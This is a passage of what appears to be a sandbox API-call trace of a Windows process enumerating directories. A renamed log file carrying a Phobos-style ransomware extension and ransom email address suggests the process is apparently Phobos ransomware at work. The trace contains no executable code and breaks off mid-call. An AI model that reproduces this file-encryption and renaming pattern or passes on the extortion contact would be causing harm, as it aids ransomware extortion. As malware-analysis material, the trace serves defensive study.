ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="klist.exe", cAlternateFileName="")) returned 1 [0163.736] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="ktab.exe", cAlternateFileName="")) returned 1 [0163.736] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39040, dwReserved0=0x0, dwReserved1=0x0, cFileName="lcms.dll", cAlternateFileName="")) returned 1 [0163.736] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9040, dwReserved0=0x0, dwReserved1=0x0, cFileName="management.dll", cAlternateFileName="MANAGE~1.DLL")) returned 1 [0163.736] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9fa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="mlib_image.dll", cAlternateFileName="MLIB_I~1.DLL")) returned 1 [0163.736] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa12a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0163.736] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xca750, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0163.737] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0163.737] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="net.dll", cAlternateFileName="")) returned 1 [0163.737] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xec40, dwReserved0=0x0, dwReserved1=0x0, cFileName="nio.dll", cAlternateFileName="")) returned 1 [0163.737] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="npt.dll", cAlternateFileName="")) returned 1 [0163.737] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="orbd.exe", cAlternateFileName="")) returned 1 [0163.737] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="pack200.exe", cAlternateFileName="")) returned 1 [0163.737] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin2", cAlternateFileName="")) returned 1 [0163.737] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\*", lpFindFileData=0x25deac8 | out: lpFindFileData=0x25deac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d16d0 [0163.738] FindNextFileW (in: hFindFile=0x1d16d0, lpFindFileData=0x25deac8 | out: lpFindFileData=0x25deac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.738] FindNextFileW (in: hFindFile=0x1d16d0, lpFindFileData=0x25deac8 | out: lpFindFileData=0x25deac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xca750, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0163.738] FindNextFileW (in: hFindFile=0x1d16d0, lpFindFileData=0x25deac8 | out: lpFindFileData=0x25deac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39440, dwReserved0=0x0, dwReserved1=0x0, cFileName="npjp2.dll", cAlternateFileName="")) returned 1 [0163.738] FindNextFileW (in: hFindFile=0x1d16d0, lpFindFileData=0x25deac8 | out: lpFindFileData=0x25deac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39440, dwReserved0=0x0, dwReserved1=0x0, cFileName="npjp2.dll", cAlternateFileName="")) returned 0 [0163.738] FindClose (in: hFindFile=0x1d16d0 | out: hFindFile=0x1d16d0) returned 1 [0163.738] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3370080 | out: hHeap=0x6f0000) returned 1 [0163.738] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1 [0163.739] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe040, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism_common.dll", cAlternateFileName="PRISM_~1.DLL")) returned 1 [0163.739] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1fe40, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism_d3d.dll", cAlternateFileName="PRISM_~2.DLL")) returned 1 [0163.739] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism_sw.dll", cAlternateFileName="")) returned 1 [0163.739] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.dll", cAlternateFileName="")) returned 1 [0163.739] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="rmid.exe", cAlternateFileName="")) returned 1 [0163.739] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8af971e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="rmiregistry.exe", cAlternateFileName="RMIREG~1.EXE")) returned 1 [0163.739] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="server", cAlternateFileName="")) returned 1 [0163.739] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\*", lpFindFileData=0x25deac8 | out: lpFindFileData=0x25deac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1410 [0163.740] FindNextFileW (in: hFindFile=0x1d1410, lpFindFileData=0x25deac8 | out: lpFindFileData=0x25deac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.740] FindNextFileW (in: hFindFile=0x1d1410, lpFindFileData=0x25deac8 | out: lpFindFileData=0x25deac8*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xab35b530, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xab35b530, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xabaa88bc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11d0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="classes.jsa", cAlternateFileName="")) returned 1 Thread: id = 113 os_tid = 0x648 [0161.682] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x38) returned 0x6f4ef8 [0161.682] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x18) returned 0x6f10a8 [0161.682] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x298 [0161.683] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x29c [0161.683] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2a0 [0161.683] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10000) returned 0x29e0068 [0161.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xc43957, lpParameter=0x299f830, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a4 [0161.684] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xc43957, lpParameter=0x299f830, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a8 [0161.684] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10000) returned 0x29f0070 [0161.684] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x299f5a8 | out: lpFindFileData=0x299f5a8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x299f7d0, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x1b8e88 [0161.685] GetLastError () returned 0x0 [0161.685] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x214) returned 0x6f8928 [0161.685] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75bf0000 [0161.685] GetCurrentThreadId () returned 0x648 [0161.685] SetLastError (dwErrCode=0x0) [0161.685] GetLastError () returned 0x0 [0161.685] SetLastError (dwErrCode=0x0) [0161.685] GetLastError () returned 0x0 [0161.686] SetLastError (dwErrCode=0x0) [0161.686] GetLastError () returned 0x0 [0161.686] SetLastError (dwErrCode=0x0) [0161.686] GetLastError () returned 0x0 [0161.686] SetLastError (dwErrCode=0x0) [0161.686] GetLastError () returned 0x0 [0161.686] SetLastError (dwErrCode=0x0) [0161.686] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10000) returned 0x2a00078 [0161.686] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\*", lpFindFileData=0x299f324 | out: lpFindFileData=0x299f324*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName=".", cAlternateFileName="")) returned 0x1b9208 [0161.686] FindNextFileW (in: hFindFile=0x1b9208, lpFindFileData=0x299f324 | out: lpFindFileData=0x299f324*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="..", cAlternateFileName="")) returned 1 [0161.687] FindNextFileW (in: hFindFile=0x1b9208, lpFindFileData=0x299f324 | out: lpFindFileData=0x299f324*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Logs", cAlternateFileName="")) returned 1 [0161.687] GetLastError () returned 0x0 [0161.687] SetLastError (dwErrCode=0x0) [0161.687] GetLastError () returned 0x0 [0161.687] SetLastError (dwErrCode=0x0) [0161.687] GetLastError () returned 0x0 [0161.687] SetLastError (dwErrCode=0x0) [0161.687] GetLastError () returned 0x0 [0161.687] SetLastError (dwErrCode=0x0) [0161.687] GetLastError () returned 0x0 [0161.687] SetLastError (dwErrCode=0x0) [0161.687] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10000) returned 0x2a10080 [0161.688] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x299f0a0 | out: lpFindFileData=0x299f0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b9348 [0161.688] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299f0a0 | out: lpFindFileData=0x299f0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0161.688] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299f0a0 | out: lpFindFileData=0x299f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef13df77, ftCreationTime.dwHighDateTime=0x1d50bc2, ftLastAccessTime.dwLowDateTime=0xef13df77, ftLastAccessTime.dwHighDateTime=0x1d50bc2, ftLastWriteTime.dwLowDateTime=0xef164198, ftLastWriteTime.dwHighDateTime=0x1d50bc2, nFileSizeHigh=0x0, nFileSizeLow=0xa7e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id[B4197730-0001].[phobosrecovery@cock.li].phobos", cAlternateFileName="DOWNLE~1.PHO")) returned 1 [0161.688] GetLastError () returned 0x0 [0161.688] SetLastError (dwErrCode=0x0) [0161.688] GetLastError () returned 0x0 [0161.688] SetLastError (dwErrCode=0x0) [0161.688] GetLastError () returned 0x0 [0161.688] SetLastError (dwErrCode=0x0) [0161.688] GetLastError () returned 0x0 [0161.688] SetLastError (dwErrCode=0x0) [0161.688] GetLastError () returned 0x0 [0161.688] SetLastError (dwErrCode=0x0) [0161.688] GetLastError () returned 0x0 [0161.688] SetLastError (dwErrCode=0x0) [0161.688] GetLastError () returned 0x0 [0161.688] SetLastError (dwErrCode=0x0) [0161.688] GetLastError () returned 0x0 [0161.689] SetLastError (dwErrCode=0x0) [0161.689] GetLastError () returned 0x0 [0161.689] SetLastError (dwErrCode=0x0) [0161.689] GetLastError () returned 0x0 [0161.689] SetLastError (dwErrCode=0x0) [0161.689] GetLastError () returned 0x0 [0161.689] SetLastError (dwErrCode=0x0) [0161.689] GetLastError () returned 0x0 [0161.689] SetLastError (dwErrCode=0x0) [0161.689] GetLastError () returned 0x0 [0161.689] SetLastError (dwErrCode=0x0) [0161.689] GetLastError () returned 0x0 [0161.689] SetLastError (dwErrCode=0x0) [0161.689] GetLastError () returned 0x0 [0161.689] SetLastError (dwErrCode=0x0) [0161.689] GetLastError () returned 0x0 [0161.689] SetLastError (dwErrCode=0x0) [0161.689] GetLastError () returned 0x0 [0161.689] SetLastError (dwErrCode=0x0) [0161.689] GetLastError () returned 0x0 [0161.689] SetLastError (dwErrCode=0x0) [0161.689] GetLastError () returned 0x0 [0161.690] SetLastError (dwErrCode=0x0) [0161.690] GetLastError () returned 0x0 [0161.690] SetLastError (dwErrCode=0x0) [0161.690] GetLastError () returned 0x0 [0161.690] SetLastError (dwErrCode=0x0) [0161.690] GetLastError () returned 0x0 [0161.690] SetLastError (dwErrCode=0x0) [0161.690] GetLastError () returned 0x0 [0161.690] SetLastError (dwErrCode=0x0) [0161.690] GetLastError () returned 0x0 [0161.690] SetLastError (dwErrCode=0x0) [0161.690] GetLastError () returned 0x0 [0161.690] SetLastError (dwErrCode=0x0) [0161.690] GetLastError () returned 0x0 [0161.690] SetLastError (dwErrCode=0x0) [0161.690] GetLastError () returned 0x0 [0161.690] SetLastError (dwErrCode=0x0) [0161.690] GetLastError () returned 0x0 [0161.690] SetLastError (dwErrCode=0x0) [0161.690] GetLastError () returned 0x0 [0161.690] SetLastError (dwErrCode=0x0) [0161.690] GetLastError () returned 0x0 [0161.691] SetLastError (dwErrCode=0x0) [0161.691] GetLastError () returned 0x0 [0161.691] SetLastError (dwErrCode=0x0) [0161.691] GetLastError () returned 0x0 [0161.691] SetLastError (dwErrCode=0x0) [0161.691] GetLastError () returned 0x0 [0161.691] SetLastError (dwErrCode=0x0) [0161.691] GetLastError () returned 0x0 [0161.691] SetLastError (dwErrCode=0x0) [0161.691] GetLastError () returned 0x0 [0161.691] SetLastError (dwErrCode=0x0) [0161.691] GetLastError () returned 0x0 [0161.691] SetLastError (dwErrCode=0x0) [0161.691] GetLastError () returned 0x0 [0161.691] SetLastError (dwErrCode=0x0) [0161.691] GetLastError () returned 0x0 [0161.691] SetLastError (dwErrCode=0x0) [0161.691] GetLastError () returned 0x0 [0161.691] SetLastError (dwErrCode=0x0) [0161.691] GetLastError () returned 0x0 [0161.691] SetLastError (dwErrCode=0x0) [0161.692] GetLastError () returned 0x0 [0161.692] SetLastError (dwErrCode=0x0) [0161.692] GetLastError () returned 0x0 [0161.692] SetLastError (dwErrCode=0x0) [0161.692] GetLastError () 